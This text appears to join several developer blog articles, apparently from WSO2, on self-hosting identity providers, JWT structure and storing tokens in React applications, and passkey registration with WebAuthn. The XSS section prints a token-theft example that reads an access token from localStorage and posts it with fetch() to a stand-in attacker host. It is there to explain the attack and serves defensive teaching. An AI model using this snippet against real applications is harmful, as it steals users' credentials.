WSO2 Identity Server​

WSO2 Identity Server combines an enterprise identity platform with a first-party React developer experience.

Its React SDK covers both Level 2 and Level 3. Developers can use hooks and APIs when they want complete control of the interface, or use reusable components for common authentication and user-management experiences.

This includes components for sign-in, sign-up, sign-out, authentication state, user profile and self-service experiences, as well as organization-related use cases.

For React developers, this removes a meaningful amount of authentication-specific application code. A team can start with reusable components, customize the UI when required, or drop down to the lower-level SDK APIs without changing the identity provider underneath.

The platform also covers requirements that commonly appear later, including B2B organizations and newer agent identity scenarios. This becomes relevant when an application starts with login but later needs to support business customers, delegated administrators, or agents acting on behalf of users.

ThunderID​

ThunderID takes a developer-first approach from a much newer identity architecture.

Its official React SDK covers both Level 2 and Level 3. It provides hooks for applications that want full UI control, together with reusable components for sign-in, authenticated-state rendering, user information, and other common authentication experiences.

It also provides first-party integration with React Router, reducing some of the routing and authentication-state plumbing that application teams would otherwise need to build.

For React developers, this is one of ThunderID's clearer advantages. SDK and framework integration are part of the project's design rather than something added around the identity server later.

The trade-off is maturity. ThunderID is much newer than the established projects in this list, so production history and the breadth of the surrounding identity feature set still need to be considered separately.

React integration comparison​

For React developers, the important difference is how much authentication-specific code remains inside the application.

Level 1 provides the strongest standards-based portability, but the application team owns more of the integration. A first-party Level 2 SDK removes much of the authentication state and token-lifecycle plumbing, while Level 3 also provides reusable components for common authentication experiences.

The absence of Level 2 or Level 3 support should be treated as a real weakness for React developers, not simply a missing convenience library.

This does not make a Level 1-only project a weaker identity provider overall. It means it provides a weaker React developer experience, which is an important distinction when React developers are the audience making the choice.

What running an identity provider involves​

Once an identity provider is self-hosted, it becomes infrastructure the organization operates.

The following areas should therefore be part of the product evaluation rather than something considered after production deployment.

Security updates​

Security fixes usually have the shortest operational timeline.

Getting the fix is only the first part. The more important question is how quickly and safely that fix reaches production.

Before an urgent vulnerability appears, the team should already know who owns identity updates, how an advisory moves from publication to deployment, what approvals are required, what test coverage exists, and which parts of the process can be automated.

It is also useful to measure the actual time required to move a normal update from availability to production. That number is a better indication of the real exposure window than an estimate made during an incident.

Commercial support can improve access to fixes, tested updates, and guidance, but under a self-hosted model the deployment process still belongs to the organization.

Upgrades​

Upgrade planning should start during product selection.

Identity software sits on the security boundary of many applications, so remaining on unsupported versions for long periods creates both security and operational risk.

Check the release cadence and supported-version policy together. A product releasing frequently but supporting older versions for a long period creates a different operational model from one with a shorter support window.

It is also important to confirm whether documented major-version upgrade procedures exist.

Customizations need particular attention. Authenticators, claim mappings, provisioning connectors, UI customizations, and other extensions are often the areas most affected during upgrades. Extensions built using documented extension points generally create a better upgrade path than changes depending on internal implementation details.

Finally, decide who will perform the upgrades.

The organization can build that capability internally, use a service provider, or purchase commercial support that includes migration guidance. Problems usually appear when this ownership is left undefined until the system is already several versions behind.

Availability and scaling​

Identity often starts as a dependency for one application and later becomes a shared dependency across many applications.

At that point, identity availability becomes application availability.

Depending on the product, a production deployment may require multiple nodes, shared session state, load balancing, and a database with its own high-availability design.

The evaluation should therefore include published throughput and concurrency numbers, recommended deployment topologies, and how the product scales as usage increases.

It is also useful to size for expected growth rather than only current traffic.

Identity is one of the more difficult infrastructure components to replace because changing the identity provider can affect every integrated application. Discovering later that the deployment architecture cannot meet expected scale can turn into a large migration project.

Secure configuration​

An identity provider holds credentials and issues tokens used across applications, so its configuration is part of the security boundary.

TLS certificates need a reliable renewal process.

Token-signing keys also need rotation. This is particularly relevant for APIs used by React applications because APIs commonly cache the provider's public signing keys. A rotation without an appropriate overlap period can cause otherwise valid tokens to fail validation.

Secrets accumulate around the identity provider as well, including database credentials, keystore passwords, and client secrets used for downstream integrations. These should be managed through an appropriate secrets-management mechanism rather than stored in source repositories or plaintext configuration.

The deployment itself also needs hardening. Administrative interfaces should not be exposed unnecessarily, default administrator credentials should be changed or removed, unused endpoints and protocols should be disabled, and administrative access should be separated appropriately from application deployment responsibilities.

Backups require the same security considerations as production data because an identity database backup contains user information.

More importantly, the restore process should be tested. Having a backup file and having a working recovery procedure are not the same thing.

Keeping the deployment reproducible from version-controlled configuration and automation makes most of these activities easier. Rebuilding the environment should be a known operational procedure rather than something that depends on the person who originally configured it.

Who should self-host?​

Self-hosting is not automatically the right choice for every organization.

• Solo developer or small team: Operating an identity provider is usually not the best use of limited engineering time. A managed service can be a better starting point, particularly when it provides a free tier or low-cost entry point. An open source identity provider that is also available as SaaS can be especially useful. The team can start without running infrastructure and later move to a paid tier or self-hosted deployment as requirements change, while potentially keeping the same underlying identity technology.

• Scaling startup or SME with a platform team: A platform team may be fully capable of running an identity provider, but the question is whether doing so is the best use of that engineering capacity. A team may initially use SaaS and later find that increasing usage, deployment requirements, or cost makes self-hosting attractive. At that point, an open source product can provide several options: operate it internally, rely on community support, or add commercial support while retaining control of the deployment.

• Regulated enterprise: Requirements such as data residency, auditability, procurement, and deployment control can make self-hosted or private-cloud identity a natural fit. The distinction between proprietary and open source self-hosted software is sometimes reduced by licensing cost, but open source provides other properties that may be more important. The organization can inspect the source, run its own security analysis, understand the implementation in more detail, and develop extensions where the architecture allows it. Those freedoms can matter even when reducing software cost is not the primary objective.

• Air-gapped or restricted network: In an air-gapped or restricted environment, a public managed service may not be available at all. The evaluation then becomes more practical: can the software be installed, operated, and updated without outbound internet access, and does the license permit that deployment model? Open source can provide an advantage here because the organization retains access to the software and can inspect and adapt it within the constraints of the network.

Where to go from here​

Self-hosting determines who operates the identity system. Open source determines what freedoms you have over the software. Commercial support determines how much of the operational responsibility you want to carry alone.

Those are related decisions, but they are not the same decision.

If your application is simple and a managed service meets the requirement, there may be little reason to operate an identity provider yourself. Self-hosting starts to make more sense when deployment control, regulatory requirements, cost, customization, or the need to share identity across multiple applications and systems becomes important.

If WSO2 Identity Server fits those requirements, the Apache 2.0-licensed software can be deployed and operated independently, while commercial support remains a separate choice.

The useful approach is to keep these decisions separate: choose the identity software based on the capabilities and architecture you need, choose the deployment model based on your operational constraints, and decide how much support you need based on what your team is prepared to operate over the long term.

Look closely at the two tokens. The access token is a short, seemingly random string. The ID token is much longer and consists of three sections separated by periods (.).

The access token in this example is an opaque token. Its contents have no meaning to your application because the token does not expose the information it represents. Instead, your API can send the token to the identity server to determine whether it is valid and what permissions are associated with it.

The ID token, however, is self-contained. Your application can inspect the information inside it without asking the identity server what the token represents. This type of token is called a JSON Web Token (JWT).

Getting the tokens into your application was the easy part.

The harder questions start after that. What is actually inside a JWT? Can you trust what you decode from it? And where should your React application keep these tokens once it has them?

Let's take those one at a time.

What a JWT is and what it is not​

A JSON Web Token (JWT), such as the ID token you received, contains three sections: header, payload, and signature.

The contents may not mean much to you yet because they are Base64URL-encoded, but you can easily distinguish the three sections because they are separated by periods (.):

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJleHAiOjE3NjcyMjU2MDB9.dBjftJeZ4CVP_mB92K27uhbUJU1p1r_wW1gFWFOEjXk

Header, Payload, Signature​

Let's dissect the three parts.

Header​

The header tells the receiver what kind of token it is and how it was signed.

For example:

{
  "typ": "JWT",
  "alg": "RS256"
}

typ identifies the token as a JWT, while alg tells the receiver which signing algorithm was used.

We'll get into signing properly later, but for now, the important point is that the header tells the receiver how the token was signed. The signature can then be used to check whether the signed contents of the token have been changed.

Payload​

The payload contains information carried by the token in the form of claims.

For an ID token, these claims describe the user and the authentication that took place. A decoded payload might look like this:

{
  "iss": "https://localhost:9443/oauth2/token",
  "sub": "user@example.com",
  "aud": "YOUR_CLIENT_ID",
  "exp": 1767225600,
  "iat": 1767222000
}

You'll commonly see claims such as:

• iss — who issued the token.
• sub — who the token is about.
• aud — who the token is intended for.
• exp — when the token expires.
• iat — when the token was issued.

One distinction is worth remembering here:

JWT describes the token format, not the token's purpose.

An ID token is commonly a JWT, but access tokens can also be issued as JWTs.

A JWT access token and a JWT ID token may therefore have the same three-part structure while carrying very different claims because they serve different purposes.

Signature​

The signature lets the receiver detect whether the header or payload has been changed after the token was issued.

The identity server creates the signature using the encoded header and payload together with its private signing key. The receiver can then use the corresponding public key to verify the signature.

If someone changes a claim in the payload after the token was signed, the existing signature will no longer verify.

The signature therefore protects the integrity of the token.

It does not hide what is inside it.

Signed does not mean encrypted​

A JWT can look like an unreadable string, but encoding does not make its contents secret.

Signing and encryption solve two different problems:

• Signing lets you detect whether the signed content has been altered.
• Encryption hides the content from someone who is not supposed to read it.

Encrypted JWTs do exist, but ID tokens are typically signed because their main job is to let your application trust the identity information they carry, not to keep that information secret.

So for the rest of this article, assume that anyone who gets hold of a signed ID token can read what is inside it.

And that brings us to the next problem: once your application has these tokens, where should it keep them?

The question behind the question: what are you defending against?​

The storage question is especially important for the access token.

A bearer access token is a credential. Anyone who gets hold of it may be able to present it to the API and use whatever permissions the token carries until it expires or is revoked.

Storage still matters for the ID token because it can contain identity information about the signed-in user. But stealing an ID token does not automatically give someone the same direct API access as stealing an access token.

There are four common places a React application can keep authentication state:

• localStorage — browser-managed key-value storage that JavaScript in the same origin can read and write.
• sessionStorage — similar browser storage, but scoped to a browser tab and its session.
• In memory — keeps the token in JavaScript memory, such as a variable, store, or ref.
• Cookies — values stored by the browser and sent with matching HTTP requests. Cookies can also be marked HttpOnly so JavaScript cannot read them.

There is also another architectural option: keep the OAuth tokens out of the browser entirely using a backend such as a Backend for Frontend (BFF).

Before comparing those choices, it helps to understand the two browser attacks that shape most of this discussion: cross-site scripting (XSS) and cross-site request forgery (CSRF).

XSS: the attacker runs script in your origin​

Cross-site scripting means malicious JavaScript starts running inside your application's origin.

That could happen through a vulnerable component, unsafe HTML handling, a compromised dependency, or a third-party script.

Once that JavaScript is running in the same origin, the browser does not treat it differently from your own application code.

If your access token is in localStorage, the malicious script can read it:

const stolenToken = localStorage.getItem("access_token");

It can then send the value somewhere else:

fetch("https://attacker.example/steal", {
  method: "POST",
  body: stolenToken,
});

Once the attacker has the bearer access token outside your application, they may be able to use it directly against the API.

sessionStorage has the same basic JavaScript-access problem:

const token = sessionStorage.getItem("access_token");

The difference is how long the value persists, not whether JavaScript in the page can read it.

And stealing the token is not the only thing malicious JavaScript can do. Because it is already running inside the authenticated application, it may also be able to make authenticated requests while the page is open.

Keep that distinction in mind. Some storage choices make a token harder to steal and reuse elsewhere, but they do not make a page compromised by XSS safe.

CSRF: the attacker makes the browser send your cookie​

Cross-site request forgery (CSRF) is a different problem.

The attacker does not need to steal an authentication cookie or run JavaScript inside your React application.

Instead, another site causes the user's browser to send a request to your application.

Imagine the user is already signed in to https://bank.example.com and their browser has a session cookie for that site.

If the user then visits a malicious site, that site may try to trigger a request to https://bank.example.com/transfer.

The request came from the attacker's site, but the browser may still attach cookies that match bank.example.com.

From the server's point of view, the request can now arrive with a valid authenticated session.

That is why an HttpOnly cookie does not remove every browser risk. JavaScript may not be able to read the cookie value directly, but the browser can still send the cookie automatically with requests.

Now we have enough context to compare the storage choices properly.

Where to store it: four options, honestly compared​

Each storage option changes three important things:

1. Whether JavaScript can read the credential.
2. How long the credential survives.
3. Whether the browser sends it automatically.

Here is the high-level comparison:

Let's look at what those trade-offs mean in practice.

localStorage: convenient, and usually the wrong answer​

localStorage is attractive because it is simple and persistent:

localStorage.setItem("access_token", token);

The token survives page reloads and browser restarts, so the application can pick up where it left off.

The problem is that every script running in your application's origin can read it too:

localStorage.getItem("access_token");

If malicious JavaScript reaches your application, a token in localStorage can be copied and sent elsewhere.

That does not mean localStorage is unsafe while every other browser store is safe.

The more precise problem is that the token is both JavaScript-readable and persistent. For a bearer credential, that gives an attacker a larger window in which to steal it and use it somewhere else.

For a long-lived token, that is usually a poor trade.

sessionStorage: the same problem, shorter fuse​

sessionStorage has the same JavaScript-access problem as localStorage, but its lifetime is shorter.

The token survives a page reload, but it belongs to the current browser tab and disappears when that tab's session ends.

So sessionStorage reduces persistence.

It does not change the basic XSS property: JavaScript running in that tab can still read the token.

In memory: less persistent, awkward across reloads​

You can also keep the access token only in JavaScript memory.

For example, the token could live in a module, a ref, or a store that never writes it to browser storage.

The advantage is that nothing is left in persistent browser storage. Once the page goes away, so does the token.

The obvious downside is a page reload.

The application loses the token and needs some way to obtain a new one without forcing the user through a complete sign-in every time.

In-memory storage therefore reduces the token's persistence window, but it still does not protect a running application from malicious JavaScript.

HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions​

An HttpOnly cookie cannot be read by JavaScript. This makes it useful for keeping an authentication credential out of reach of code running in your React application.

There is one important catch: a pure React application cannot create an HttpOnly cookie. It has to be set by a server using the Set-Cookie response header.

For example:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax

The browser stores the cookie and automatically sends it with matching requests. Your React application does not need to read the cookie value.

That protects the credential from being directly read through JavaScript, but because the browser sends cookies automatically, you now need to consider CSRF.

This is where the SameSite attribute helps. It controls when the browser sends a cookie in a cross-site context.

• SameSite=Strict is the most restrictive option. The browser generally withholds the cookie when the request or navigation starts from another site. This provides strong protection against CSRF, but it can interfere with legitimate cross-site flows.
• SameSite=Lax allows the cookie on some top-level cross-site navigations that use safe methods such as GET, while withholding it from many cross-site requests commonly used in CSRF attacks, such as POST.
• SameSite=None allows the cookie to be sent in cross-site contexts and requires the Secure attribute. If your application needs this behavior, you cannot rely on SameSite alone for CSRF protection.

The important distinction is:

• HttpOnly controls whether JavaScript can read the cookie.
• SameSite controls when the browser can send the cookie in cross-site contexts.
• Secure ensures that the cookie is only sent over HTTPS.

SameSite should therefore be treated as one part of your CSRF protection rather than the entire defense.

Moving the token off the browser entirely​

If your application already has a backend, you can go one step further and avoid storing the OAuth tokens in the browser altogether.

A common way to do this is with a Backend for Frontend (BFF).

Instead of returning the access and refresh tokens to the React application, the BFF keeps them on the server. The browser gets a session cookie that represents the user's session with your application.

When React needs data, it calls the BFF:

React app
  ↓
 BFF
  ↓
 API

The BFF adds the access token when it calls the downstream API, so the React application never needs to read or store that token itself.

This removes an important attack path: malicious JavaScript can no longer simply read the OAuth tokens from browser storage or application memory and send them somewhere else for later use.

The browser still holds a session credential, so the usual cookie-security requirements still apply. If that cookie is HttpOnly, JavaScript cannot read its value directly, but malicious JavaScript may still be able to make authenticated requests while the user is signed in.

A BFF therefore does not make the browser trusted. It moves the OAuth credentials into a server environment you control and leaves the browser with a session cookie that still needs to be protected against risks such as CSRF.

The recommendation, and when it does not apply​

If your React application already has a backend, keeping the OAuth tokens there gives you a useful security boundary because the access and refresh tokens do not need to be exposed to browser JavaScript.

A Backend for Frontend (BFF) is one way to do that.

For higher-risk applications such as banking, healthcare, or administrative portals, that separation can be especially valuable.

But not every React application has a backend.

For a pure SPA, the practical decision comes down to how much persistence you need and how much JavaScript exposure you are willing to accept:

• Keep the access token in memory when minimizing persistence matters more than surviving a page reload. A high-value customer portal, for example, may prefer to reacquire authentication state after a reload rather than leave a bearer token in persistent browser storage.
• Use sessionStorage when the application needs to survive reloads in the current tab but does not need the token after that tab's session ends. A long multi-step workflow is a good example: an accidental refresh should not end the session, but closing the tab can.
• Use localStorage only when surviving a full browser restart is an explicit requirement and you accept the longer exposure window that comes with it. A legacy internal SPA may make that trade-off for usability, but the token should still be short-lived and limited to the permissions the application actually needs.

An HttpOnly cookie is not simply another browser storage API a pure React SPA can switch to. It has to be set by a server, so choosing that approach changes the architecture.

There is therefore no universal rule such as "always use cookies" or "never use localStorage."

Instead, start with three questions:

1. Does your application have a backend that can keep the OAuth tokens out of the browser?
2. How long does the authentication state need to survive?
3. What happens if JavaScript running in the page is compromised?

Answer those first, and the storage decision becomes much easier to justify.

Implementing it in React​

Now let's make the browser-side options more concrete.

The examples below show how you can handle access tokens in a React application when you are managing the token lifecycle yourself.

Holding the access token without re-rendering the tree​

If you decide to keep the access token in memory, it only needs to live somewhere your API-calling code can reach it.

You could store it in React state, but an access token is not really display state. Your UI does not need to re-render every time the token changes.

A ref gives you a simple place to keep it without writing it to persistent browser storage:

import { createContext, useContext, useRef } from "react";

const TokenContext = createContext(null);

export function TokenProvider({ children }) {
  const accessToken = useRef(null);

  const tokenStore = useRef({
    get: () => accessToken.current,
    set: (token) => {
      accessToken.current = token;
    },
    clear: () => {
      accessToken.current = null;
    },
  });

  return (
    <TokenContext.Provider value={tokenStore.current}>
      {children}
    </TokenContext.Provider>
  );
}

export const useTokenStore = () => useContext(TokenContext);

The token now lives only in the current JavaScript execution context.

accessToken holds the actual token value, while tokenStore exposes a stable get, set, and clear interface to the rest of the application through React Context.

Because updating accessToken.current does not update React state, changing the token does not trigger a re-render just because the credential changed.

A page reload removes it, which is both the benefit and the inconvenience of in-memory storage. Nothing persists in localStorage or sessionStorage, so the application needs some way to obtain a new access token after the reload.

Refreshing on 401 without a request storm​

Access tokens expire.

Suppose your page makes several API calls at the same time just after the access token expires. All of them may receive a 401 Unauthorized response.

A common mistake is to let every failed request start its own token refresh:

Request 1 ── 401 ── refresh
Request 2 ── 401 ── refresh
Request 3 ── 401 ── refresh

Now several refresh requests are running at once.

This becomes especially problematic when refresh token rotation is enabled. A successful refresh may replace the previous refresh token, so another request still trying to use the older token can fail.

A common fix is to keep one refresh operation in flight and let the other requests wait for it.

Assume refreshAccessToken() sends the refresh request and resolves with a fresh access token:

let refreshInFlight = null;

async function getFreshAccessToken() {
  if (!refreshInFlight) {
    refreshInFlight = refreshAccessToken().finally(() => {
      refreshInFlight = null;
    });
  }
  return refreshInFlight;
}

The first request starts the refresh.

While that promise is still pending, the other requests receive the same promise instead of starting refreshes of their own.

Once the operation finishes, .finally() resets refreshInFlight so a future refresh can start when needed.

This coordinates the refresh itself. The original failed API requests still need to wait for the result and retry when appropriate.

What the WSO2 React SDK does by default​

The WSO2 React SDK lets you choose how the SDK keeps authentication state in the browser.

The currently supported storage options include:

• sessionStorage
• localStorage
• webWorker

If you do not specify a storage option, the SDK uses sessionStorage by default.

For example:

<AsgardeoProvider
  clientId="<your-app-client-id>"
  baseUrl="https://localhost:9443"
  scopes="openid profile"
  storage="sessionStorage"
>
  <App />
</AsgardeoProvider>

sessionStorage gives you a practical middle ground: the authentication state survives page reloads in the current tab but disappears when that tab is closed.

The SDK also supports webWorker, which works differently from localStorage and sessionStorage.

A Web Worker runs in a separate JavaScript execution context from the React application's main thread. When webWorker storage is used, the SDK keeps the authentication state inside that worker instead of exposing the access token directly to the application.

API requests that need the access token are sent through the SDK. The worker attaches the token before the request is sent, so application code does not need direct access to the token itself.

Conceptually:

React application
     │ request through SDK
     ▼
  Web Worker
     │ attaches access token
     ▼
    API

JavaScript running in the main page cannot directly read variables held inside the worker.

This does not make the application immune to XSS. Malicious JavaScript may still be able to invoke functionality exposed by the application or SDK while the application is running.

The benefit is narrower: the access token itself is not directly exposed to the application's main JavaScript context.

Decoding versus verifying​

A JWT is easy to decode.

That is useful when your React application needs to read information from an ID token, but there is an important catch: readable does not mean trustworthy.

Anyone can create a JSON object, Base64URL-encode it, and make it look like a JWT.

So there are really two separate jobs here:

Decoding tells you what the token says.

Validation tells you whether you should trust it.

Reading claims from the token​

Suppose your application decodes an ID token and gets a payload like this:

{
  "sub": "user@example.com",
  "aud": "YOUR_CLIENT_ID",
  "exp": 1767225600
}

Now your application can read claims such as the user's identifier, the intended audience, or the expiry time.

But decoding has only turned the Base64URL-encoded payload back into readable JSON.

It has not answered any of these questions:

• Who created this token?
• Has someone changed the header or payload?
• Was this token actually issued for this application?
• Has it expired?

To answer those, the token needs to be validated.

Verifying the signature​

The identity server signs the ID token using its private signing key.

The corresponding public key can be shared openly, and the application can use it to verify the signature.

Conceptually:

Identity server
  header + payload
     │ private key
     ▼
   signature

The application later receives all three parts:

header + payload + signature
     │ public key
     ▼
   verify

The public key does not create another signature and compare the two strings.

Instead, the public and private keys are mathematically related. The private key creates the signature, while the public key lets the receiver verify that the signature is valid for the signed header and payload.

If someone changes either of those after the token was issued, signature verification fails.

But a valid signature is only one part of validating an ID token.

The application also needs to check claims such as:

• iss — did the expected identity server issue this token?
• aud — was this token issued for this application?
• exp — is the token still valid?

So there are two layers here.

Signature verification tells you that the signed contents have not been changed. Claim validation tells you whether this token is acceptable for your application.

How the Asgardeo SDK validates the ID token​

The Asgardeo SDK handles ID-token validation as part of the authentication flow.

At a high level, the process looks like this:

ID token
   ↓
read the JWT header
   ↓
get the identity server's public keys
   ↓
find the matching public key
   ↓
verify the signature
   ↓
validate the token claims

The identity server publishes its public signing keys through a JWKS endpoint.

The SDK reads the ID token header, uses the key identifier to find the corresponding public key, and then verifies the signature with that key.

It also checks claims such as the issuer and audience.

The private signing key never needs to leave the identity server. The application only needs access to the public key used for verification.

That is why ID-token validation can happen in the browser.

This validation answers a specific question:

Did this token come from the issuer I expect, for the application I expect, and has its signed content remained intact?

It does not make the browser itself trustworthy. If malicious JavaScript is already running in the page, it can still interfere with application behavior. That is a separate problem from deciding whether the token itself is valid.

The failure modes you will hit​

Understanding how a JWT is structured is only part of the job.

In a real application, tokens expire, clocks do not line up perfectly, multiple requests can fail at the same time, and logout is not always as simple as deleting a value from storage.

These are the cases that usually make token handling more complicated.

Clock skew​

The exp claim tells you when a token expires.

But that timestamp is created by the identity server and checked by another machine, such as the user's browser. Their clocks may not be perfectly synchronized.

If the browser clock is slightly ahead, a token may appear to expire earlier than expected.

This is why authentication implementations usually allow a small amount of clock tolerance when validating time-based claims.

If an authentication SDK is already handling token validation, it is usually better to let it apply that tolerance rather than comparing exp against the browser clock yourself.

Expiry during a long-running interaction​

Imagine a user opens a form and spends twenty minutes filling it out.

Nothing on the screen changes. The application still looks signed in.

Then they click Submit.

By that point, the access token may have expired, so the API request can come back with 401 Unauthorized.

From the user's point of view, nothing went wrong until that final request.

Your authentication layer therefore needs a way to obtain a valid access token and retry the request when appropriate without throwing away the user's work.

This is one reason refresh handling is usually better centralized rather than implemented separately inside individual React components.

Refresh races​

Now imagine several API requests fail at around the same time because the access token has expired.

If every failed request starts its own refresh, you can end up with several refresh requests running in parallel.

With refresh token rotation, the first successful refresh may replace the old refresh token while another request is still trying to use it.

That is the same race the single-refresh pattern earlier was designed to prevent: one refresh happens, and the other requests wait for the same result.

If your authentication layer already handles refresh coordination, avoid adding a second refresh mechanism on top of it.

Logout that doesn't revoke or end the session​

Removing a token from browser storage is not necessarily the same thing as logging the user out.

For example:

localStorage.removeItem("access_token");

only removes your application's local copy.

The access token may still remain valid until it expires or is revoked, and the user may still have an active session with the identity server.

A complete logout flow may therefore need to:

• clear the application's local authentication state
• remove any locally stored credentials
• end the relevant session with the identity server

The exact flow depends on how authentication is implemented, but the important distinction is simple:

Removing a token from the browser is not the same thing as ending the authentication session.

Conclusion​

A JWT starts out looking like one long, unreadable string.

Once you split it apart, the format itself is fairly simple.

The header tells you how the token was signed.

The payload carries the claims.

The signature gives the receiver a way to verify that the signed contents have not been changed.

But understanding those three pieces is only the beginning of using tokens safely in a React application.

An access token is a credential, so you need to decide how long it should remain available and which parts of the browser should be able to reach it. localStorage, sessionStorage, memory, Web Workers, cookies, and BFF-based architectures all answer those questions differently.

An ID token introduces a different trust question. Decoding it tells you what the token claims. Signature verification and claim validation tell you whether those claims came from the issuer you expect, were intended for your application, and are still valid.

And then there is the lifecycle around both tokens: expiry, refresh races, reloads, logout, and the possibility that JavaScript running in the page itself becomes compromised.

There is no single browser storage choice that makes all of those problems disappear.

A better way to think about the problem is to ask:

• Where does the credential live?
• How long does it stay there?
• Who can access or send it?
• What happens when it expires or the session ends?

Once you can answer those four questions for your application, the JWT stops being the complicated part.

The architecture around it is what really matters.

We ask users to invent a secret, remember it for years, never reuse it anywhere else, type it correctly on every device, and somehow keep it safe from attackers.

Then we build password reset flows for when all of that inevitably goes wrong.

Passwordless authentication changes the model. Instead of asking the user for a password, your application can let users authenticate using something like a passkey or a one-time code sent to an email address or a phone.

In this article, we'll take a closer look at the most common passwordless authentication methods, compare how they work and the trade-offs between them. We'll also walk through how you can implement each one in your application.

What passwordless means for a React developer​

For a React developer, passwordless authentication does not mean React suddenly becomes responsible for authenticating users.

Your application still mostly does what it did with password-based authentication:

1. Start the authentication flow.
2. Collect or trigger whatever user interaction is required.
3. Wait for the identity system to verify the user.
4. Receive an authenticated session.
5. Render the application for that user.

The major difference is what credential proves the user's identity.

The three methods you will actually ship​

The most common consumer-facing passwordless options are:

• Passkeys — authenticate using a cryptographic credential stored by a device, credential manager, or hardware security key.
• Magic links — send a short-lived login link to the user's email address.
• One-time passwords (OTP) — send a short-lived code to the user's email address or mobile phone.

We'll look at each of these methods in more detail later in the article.

Where the React app's responsibility starts and ends​

Before we get into the individual passwordless methods, let's get one thing clear: your React application shouldn't be the authority deciding whether a user has successfully authenticated.

In many setups, especially when you use hosted login, React simply starts the authentication flow. The browser moves over to the identity provider, the user completes whatever authentication method is configured there, and once that succeeds, the application gets the result back.

So from React's point of view, the flow is often surprisingly simple:

Start authentication → identity provider handles authentication → continue with an authenticated user

If you build more of the login experience directly into your application, React may do a little more. It might collect an email address, display a code field, or trigger a browser authentication API.

But even then, React is still handling the experience rather than establishing trust.

The actual verification should happen on the server or at the identity provider.

Keep that in mind as we go through passkeys, magic links, and OTPs, because the amount of work your React application needs to do can look very different depending on the method and how you choose to integrate it.

Choosing a method: the comparison nobody publishes​

When choosing a passwordless method, security is only part of the decision. You also need to think about what the login experience looks like when things go wrong, and what it costs to operate at scale.

Some useful questions to ask are:

• What happens if the user loses access to the device they normally sign in with, or the device is simply unavailable?
• Can the user complete authentication on a different device, or does the method depend on the original one?
• What does each authentication attempt cost, especially if you are sending emails or SMS messages?
• How does account recovery work, and how often will users need help from your support team?

These practical questions are sometimes overlooked in favor of security. And yes, security is important, but so is the experience you are creating for the user.

The best choice is usually the one that gives you the right balance between security, usability, recoverability, and cost.

Comparison table​

With those questions in mind, let's compare the most common passwordless authentication methods and see how they stack up.

To summarize:

• Passkeys offer some of the strongest authentication properties of the methods we're looking at. A WebAuthn credential is tied to a specific relying party, and the private key never gets sent to the website during authentication. We'll get into exactly how that works in a bit.
• Magic links and OTP trade some of that security for extremely simple recovery and onboarding.

The recovery question that decides it​

It may sound counter-intuitive, but your recovery model decides which passwordless method you should use in the first place. A very secure primary method does not help much if recovery introduces a much weaker path back into the account.

Suppose you make passkeys the only authentication option.

Then your user:

• loses their phone,
• buys another phone,
• cannot access the original authenticator.

Now you have a recovery problem.

For many users, synced passkeys make this much less painful than early FIDO deployments. Passkeys stored by platforms such as credential managers can become available again when the user signs in to the same provider on a new device. Cross-device authentication can also let a credential on one device authenticate another device.

But eventually you have to deal with the harder case: the user has lost access to every available authenticator, or they can no longer get into the credential provider that holds the passkey.

What do you do then?

If the answer is, "we'll email them a recovery link," then email is part of your authentication security model whether you intended it to be or not.

That's why recovery is not something you bolt onto passwordless authentication later. It's part of the authentication design from the beginning.

That was a lot. But hopefully, you now have a good high-level understanding of what goes into designing a passwordless authentication system. Now let's get into the nitty-gritty and look at how you can actually implement each of these methods in your application.

Passkeys and WebAuthn in React​

We've thrown around the terms Passkeys and WebAuthn a few times so far. Before we go any further, let's properly break down what each one means and how they fit together.

WebAuthn, short for Web Authentication, is the web standard that lets applications authenticate users using public-key cryptography instead of a password. It gives the browser APIs for creating a credential and later using that credential during sign-in.

A Passkey is the credential the user creates and uses through that system.

Users typically approve the use of a passkey using something they already use to unlock their device or credential manager, such as Face ID, Touch ID, Windows Hello, or a device PIN. Passkeys can also be stored on hardware security keys.

Behind the scenes, a passkey is based on a public-private key pair.

The public key is registered with your application. The private key stays with the authenticator and is used when the user later signs in. Your application never needs to receive or store that private key.

Now let's see what that looks like in a React application.

Adding passkeys involves two flows:

• Registration — creating a passkey and associating it with a user.
• Authentication — using that passkey later to sign in.

WebAuthn calls these flows ceremonies.

Let's walk through both flows.

Registration ceremony​

Registration starts when a user wants to create a passkey for their account.

The first step is to ask your server for a set of registration options. You can think of these as the instructions the browser needs to create the new credential.

WebAuthn defines what these options look like, but it does not define the API endpoint you use to retrieve them. In this example, /api/passkeys/register/options is an endpoint we created in our own backend.

const optionsJSON = await fetch("/api/passkeys/register/options", {
  method: "POST",
  credentials: "include",
}).then((res) => res.json());

Here, we assume the user already has a session with the application. credentials: "include" allows cookies, such as that session cookie, to be sent with the request so the server can determine which account is creating the passkey.

The server then generates the registration options and sends them back. A simplified response might look like this:

{
  "challenge": "base64url-encoded-random-value",
  "rp": {
    "name": "My App",
    "id": "example.com"
  },
  "user": {
    "id": "base64url-encoded-user-id",
    "name": "alex@example.com",
    "displayName": "Alex"
  },
  "pubKeyCredParams": [
    {
      "type": "public-key",
      "alg": -7
    }
  ],
  "timeout": 60000,
  "attestation": "none"
}

There are a few things going on here.

• rp describes the relying party, which is the website or service the passkey is being created for.
• user identifies the account that the new passkey should belong to.
• pubKeyCredParams tells the authenticator which public-key algorithms the server supports.
• challenge is a fresh random value generated by the server specifically for this registration attempt. When the result eventually comes back, the server checks this challenge to make sure the response belongs to the ceremony it started.

There is one small conversion we need to do before giving these options to WebAuthn.

Values such as challenge and user.id are represented as binary data by the WebAuthn API. Because our server sent them over JSON, they arrive as encoded strings.

The browser provides a helper to convert them back into the format WebAuthn expects:

const options = PublicKeyCredential.parseCreationOptionsFromJSON(optionsJSON);

Now we can actually ask the browser to create the passkey:

const credential = await navigator.credentials.create({
  publicKey: options,
});

From here, the browser takes over the interaction with the authenticator.

Depending on the device and where the user keeps their passkeys, they might be prompted through Touch ID, Face ID, Windows Hello, Android device unlock, a credential manager, or a hardware security key.

Once the user approves the operation, the authenticator creates a new public-private key pair for this credential.

The private key stays with the authenticator.

The browser returns a PublicKeyCredential containing the registration response, which includes the information the server needs to register the corresponding public credential.

React then sends that response back to the server:

await fetch("/api/passkeys/register/verify", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  credentials: "include",
  body: JSON.stringify(credential.toJSON()),
});

